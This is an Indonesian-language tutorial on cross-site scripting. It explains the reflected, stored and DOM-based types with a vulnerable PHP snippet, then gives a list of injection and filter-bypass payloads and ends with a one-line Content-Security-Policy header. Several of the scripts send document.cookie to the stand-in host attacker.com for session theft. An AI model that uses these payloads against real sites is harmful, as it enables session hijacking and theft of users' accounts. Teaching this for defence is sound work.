Jenis-jenis XSS (Reflected, Stored, DOM), payload JavaScript, session hijacking, cookie theft, dan teknik mitigasi dengan CSP.
Cross-Site Scripting (XSS) adalah kerentanan keamanan yang memungkinkan penyerang menyisipkan skrip berbahaya ke halaman web yang dilihat pengguna lain. Skrip ini bisa mencuri cookies, session token, atau melakukan aksi atas nama korban. XSS selalu masuk OWASP Top 10 dan sangat umum ditemukan.
XSS terjadi ketika aplikasi web mengembalikan input pengguna ke halaman HTML tanpa sanitasi. Contoh PHP rentan:
$name = $_GET["name"];
echo "Hello, " . $name;Jika penyerang mengirimkan <script>alert(1)</script>, JavaScript akan dieksekusi di browser korban.
Payload langsung dipantulkan dalam respons HTTP. Biasanya via URL parameter atau form input.
https://target.com/search?q=<script>alert(document.cookie)</script>Payload disimpan di server (database, log file, komentar) dan ditampilkan ke semua pengunjung. Lebih berbahaya karena mempengaruhi banyak pengguna.
<script>
fetch("https://attacker.com/steal?c=" + document.cookie);
</script>Payload dieksekusi melalui manipulasi DOM di sisi klien tanpa perlu request ke server.
// Kode JavaScript rentan
document.getElementById("output").innerHTML = location.hash.slice(1);
// URL: https://target.com/page#<img src=x onerror=alert(1)><script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
\"><script>alert(1)</script>
\"><img src=x onerror=alert(document.cookie)>
<a href=\"javascript:alert(1)\">click</a>
<input onfocus=alert(1) autofocus>
<script>fetch(\"https://attacker.com?c=\"+document.cookie)</script>Target utama XSS adalah mencuri session cookie korban:
<script>
var img = new Image();
img.src = "https://attacker.com/log?cookie=" + encodeURIComponent(document.cookie);
</script>Content-Security-Policy: default-src "self"; script-src "self"